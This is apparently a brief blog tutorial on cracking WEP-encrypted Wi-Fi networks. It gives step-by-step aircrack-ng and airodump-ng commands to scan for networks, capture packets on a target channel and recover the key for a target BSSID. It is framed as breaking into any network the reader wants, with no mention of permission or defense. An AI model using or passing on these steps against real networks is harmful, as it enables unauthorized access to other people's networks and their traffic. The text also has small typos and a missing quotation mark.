It’s fairly easy to crack a WEP encrypted wireless network. Infact the WEP encryption has some serious flaws in its design, flaws that make it easy and fast to crack or hack.
Install aircrack-ng – on Debian Etch by:
"sudo apt-get install aircrack-ng"
Then start aircrack-ng to look for wireless networks:
"sudo airodump-ng eth1"
Then notice the channel number of the wireless network you want to crack.
Quit aircrack-ng and start it again with med specific channel number to collect packages faster:
"sudo airodump-ng -c 4 -w dump eth1"
Then wait and let it collect about 500K IVS and the try the do the actual crack:
sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap"
The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.
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